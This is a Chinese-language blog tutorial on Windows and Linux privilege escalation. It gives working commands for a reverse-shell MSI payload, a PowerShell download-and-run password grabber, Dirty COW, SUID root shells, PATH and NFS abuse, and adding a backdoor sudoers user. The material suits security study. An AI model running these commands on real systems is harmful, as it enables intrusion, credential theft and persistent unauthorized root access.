浅析提权(一)


提权目的:

  1. 读取/写入敏感文件

  2. 重新启动之后权限维持

  3. 插入永久后门

Windows提权:

提权从目的可分为纵向提权与横向提权:

  1. 纵向提权:低权限角色获得高权限角色的权限。(最常见的)
  2. 横向提权:获取同级别角色的权限。(根据实际的需求)

Windows常用的提权方法有:

系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、窃取令牌提权、bypassuac提权,第三方软件/服务提权,WEB中间件漏洞提权等。

但是在提权之前需要收集到一些系统信息,比如系统信息,查看用户信息,主机名,补丁信息,查看当前安装程序。

内核漏洞

此提权方法是利用系统本身存在的一些系统内核溢出漏洞,但未曾打相应的补丁,攻击者通过对比systeminfo信息中的补丁信息来查找缺失的补丁号,通过缺失补丁号对照相应的系统版本查找对应可以提权提升的exp

错误的服务权限配置

利用条件苛刻

Microsoft Windows 服务(即以前的 NT 服务)能够创建可长时间运行的可执行应用程序。这些服务可以在计算机启动时自动启动,可以暂停和重新启动而且不显示任何用户界面。这种服务非常适合在服务器上使用,或任何时候,为了不影响在同一台计算机上工作的其他用户,需要长时间运行功能时使用。还可以在不同登录用户的特定用户帐户或默认计算机帐户的安全上下文中运行服务。Windows服务(Windows Services)通常使用本地系统账户启动。如果我们拥有可以修改服务配置权限的话,可以将服务启动的二进制文件替换成恶意的二进制文件,重新启动服务后执行恶意的二进制文件,可以获取到system权限。

系统服务权限配置错误利用有如下两种方式:服务未启动:攻击者可以使用任意服务替换原来的服务,然后重启服务 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用dll劫持技术并尝试重启服务来提权(需要administrtor权限)

DLL注入提权(DLL劫持)

DLL注入提权是一种利用应用程序错误加载DLL的技术。可以使用此技术来实现提权以及持久控制。

DLL代表动态链接库,它是一个库文件,其中包含可被多个应用程序同时动态访问和使用的代码和数据。DLL是Microsoft引入的,用于实现共享库的概念。

可以收集分析进程加载的dll,然后一盘般选择未知文件和数字签名文件(系统文件一般我们是更改不了的)。使用msf生成dll木马,替换原来的dll,启动软件执行的是我们替换的木马dll。

思路很多,主要用来干嘛。

注册表键提权

AlwaysInstallElevated是一项功能,可为Windows计算机上的所有用户(尤其是低特权用户)提供运行任何具有高权限的MSI文件的功能。MSI是基于Microsoft的安装程序软件包文件格式,用于安装,存储和删除程序。

通过组策略中的windows installer来进行配置,默认情况下该配置是关闭的。先看改配置是否开启。

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

使用msfvenom生成一个msi文件用来反弹shell。

msfvenom -p windows/meterpreter/reverse_tcp lhost=X.X.X.X lport=4567 -f msi > 1.msi

安装msi,获取反弹shell

msiexec /quiet /qn /i C:\Windows\Temp\1.msi

可信任服务路径漏洞

如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。

原理:对于C:\Program Files\Some Folder\Service.exe文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\Service.exe

所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,比如这里我把木马名字改了Program.exe,放在c盘小,一旦此服务重启,因为优先级的缘故,服务会优先选择我们木马Program.exe,而不是C:\Program Files\Some Folder\Service.exe,那么我们的恶意程序就会以system权限运行(大多数情况下)。

#msf攻击模块:exploit/windows/local/trusted_service_path set AutoRunScript migrate -f

#手动攻击 我们需要执行的exe根据需要重命名并放置在可写入的有漏洞目录下 然后重启服务

sc stop service_name sc start service_name

令牌窃取

在内网渗透章节有讲。

UAC提权

在内网渗透章节有讲。

组策略偏好GPP

win2008发布了GPP(Group Policy Preferences),其中GPP最有用的特性,是在某些场景存储和使用凭据,其中包括:映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地Administrator密码

为方便对所有机器进行操作,网络管理员会使用域策略进行统一的配置和管理,那么所有机器的本地管理员密码就是一样的,造成了即使不知道密码的情况下也能修改组策略首选项的密码,也可以通过脚本破解组策略首选项文件中密码的漏洞。

组策略首选项:

Windows 2008 Server引入了一项新功能:策略首选项,组策略首选项使管理员可以部署影响域中计算机/用户的特定配置,通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时自动映射网络驱动器,更新内置管理员帐户的用户名或对注册表进行更改。

利用手法:

  1. Powershell获取cpassword
    Get-GPPPassword.ps1

  2. PowerSploit 的 Get-GPPPassword模块 检索通过组策略首选项推送的帐户的明文密码和其他信息。

    powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1');Get-GPPPassword"Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
  3. kali gpp-decrypt命令破解密码

  4. msf:run post/windows/gather/credentials/gpp

  5. Empire:usemodule privesc/gpp

Linux提权

提权前例行信息收集

查看发行版本

cat /etc/issue
cat /etc/*-release

查看内核版本信息

uname -a

ls命令可以查看权限

ls -l /bin/date

服务运行情况

服务的用户特权

ps aux
ps -ef top
cat /etc/services

服务设置是否配置错误

cat /etc/syslog.conf 
cat /etc/chttp.conf 
cat /etc/lighttpd.conf 
cat /etc/cups/cupsd.conf 
cat /etc/inetd.conf cat /etc/apache2/apache2.conf 
cat /etc/my.conf cat /etc/httpd/conf/httpd.conf 
cat /opt/lampp/etc/httpd.conf

内核漏洞提权

  1. 检测内核版本
# 查看系统发行版本
lsb_release -a
# 查看内核版本
uname -a
  1. 下载,编译exp,执行

脏牛提权

脏牛漏洞(CVE-2016–5195),又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,在2016年10月18后才得以修复,因此影响范围很大。漏洞具体是由于get_user_page内核函数在处理Copy-on-Write的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。

影响范围:

Centos7/RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1

具体实现:

  1. 上传脏牛提权EXP,注意上传到/tmp 这种可读可写的文件夹

    exp地址:https://github.com/FireFart/dirtycow。

  2. 编译EXP:

    gcc -pthread dirty.c -o dirty –lcrypt
  3. 生成root权限的用户:./dirty 123,这时就有个超级用户。

  4. 如果是使用蚁剑,要想切换用户,需要切换shell成tty模式。

    python -c 'import pty; pty.spawn("/bin/sh")'
  5. 生成root权限新用户保留权限

    adduser user1
    passwd user2
  6. 赋予root权限:修改 /etc/sudoers 文件,找到下面一行,在root下面添加一行。

    root ALL=(ALL) ALL
    user1 ALL=(ALL) ALL
  7. 如果直接读取了键盘数据,是因为这还是一个半交互式的shell。

    Ctrl-Z 可以将一个正在前台执行的命令放到后台,并且暂停
    stty raw -echo //设置原始输入并禁止回显(当在键盘上输入时,并不出现在屏幕上)
    fg  将后台中的命令调至前台继续运行
  8. 就可以使用user1登录。

利用SUID提权

SUID是一种特殊权限,可以让调用者在执行过程中暂时获得该文件拥有者的权限。如果可以找到并运行root用户所拥有的SUID的文件,那么就可以在运行该文件的时候获得root用户权限。

SUID权限

1,SUID权限只能设置二进制文件。

2,命令执行者要有二进制文件的执行权。

3,命令执行者执行二进制文件时会获得该程序的属主身份。

4,SUID权限只在程序执行过程中有效。

即如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中,是root权限。

查看find命令权限

# 1. 查看find命令位置
which find

# 2. 查看 find 命令权限
ls -l  /usr/bin/find   #  这是find 默认位置

-rwsr-xr-x. 1 root root 199200 Nov 20  2015 /usr/bin/find
# 有s 表示可以提权

在Linux中查找可以用来提权的SUID文件(输入命令后据需。

find / -perm -u=s -type f 2>/dev/null;
find / -user root -perm -4000-print2>/dev/null;
find / -user root -perm -4000-exec ls -ldb {} \;

常用的可用于suid提权的文件
Nmap、Vim、find、Bash、More、Less、cp

文件 路径 -exec "/bin/sh" \;
#find  (一个路径,你用find找到具有root用户权限的SUID的文件)  -exec  执行命令 (结束)\;

msf中的模块为:

exploit/unix/local/setuid_nmap

nmap 还可以通过执行脚本来提权。

利用环境变量提权

PATH 是Linux 和 Unix 操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH变量中看到‘.’,则意味着登录用户可以从当前目录执行二进制文件/脚本。这样我们就可以编写脚本来调用系统二进制文件的函数,如:

#include<unistd.h>
void main()
{
    setuid(0);
    setgid(0);
    system("ps");   //可以是其他命令
}
//或者
int main() {
setuid(0);
system("/bin/bash -p");     //编译后,将生成一个以root身份运行的Bash shell
}

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限并执行。

gcc demo.c -o shell
chmod u+s shell
ls -la shell
./shell

可见console打印了进程。

然后我们来提权。

find命令搜寻具有SUID或4000权限的文件,前提

find / -perm -u=s -type f 2>/dev/null

echo命令

cd /tmp
echo “/bin/bash(具有SUID权限的文件路径)” > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami

CVE-2021-4034

Linux提权漏洞,主要原因在于Polkit包下的Pkexec工具存在内存损害,允许非特权用户利用提升到ROOT。

Pkexec是系统预装的工具,所以主流的都会受到影响,像Ubuntu、Debian、Fedora、Centos等,从2009年起所有的Pkexec都会受到攻击,下面以Ubuntu20.04为例。

直接Github搜EXP。

临时防护,从Pkexec中删除Suid,先取消该工具的临时高权限功能。

利用sudo进行linux提权

当没有对普通用户做严格的限制时,或者配置权限过大时,则可以尝试sudo su来切换到root权限。或者执行sudo bash。

sudo vim也可以编辑sudoers文件,且wq!可以成功保存。但要查看一下vim是否被禁用。

NFS配置不当导致的Linux提权

NFS是network file system缩写,网络文件系统,用来挂在某个目录或文件进行共享,默认是2049端口,功能类似于windows的共享。

当nfs配置了读写权限,且允许客户端以root访问时,就会存在安全隐患。

被攻击机:

首先安装nfs服务端:

sudo apt-get install nfs-kernel-server

安装后修改配置文件/etc/exports,这里将home目录进行挂载共享,内容如下:

/home *(rw,no_root_squash)

其中/home是要挂载的目录,*代表允许连接的主机,这里是所有,rw是读写权限,no_root_squash代表客户端允许以root权限访问nfs。

攻击机:

首先在攻击机上安装连接所需的基础组件

apt install nfs-common cifs-utils

创建目录以挂载远程系统。

mkdir /nfs_client

然后输入命令

showmount -e [IP地址]:[远程挂载地址] [本地挂载地址]

简单写一个提权程序

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /nfs_client/suid-shell.c

编译

gcc /nfs_client/suid-shell.c -o /nfs_client/suid-shell

赋权

chmod +s /nfs_client/suid-shell

然后回到要提权的服务器上以低权限运行suid-shell


文章作者: 小小星仔
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 小小星仔 !
评论
  目录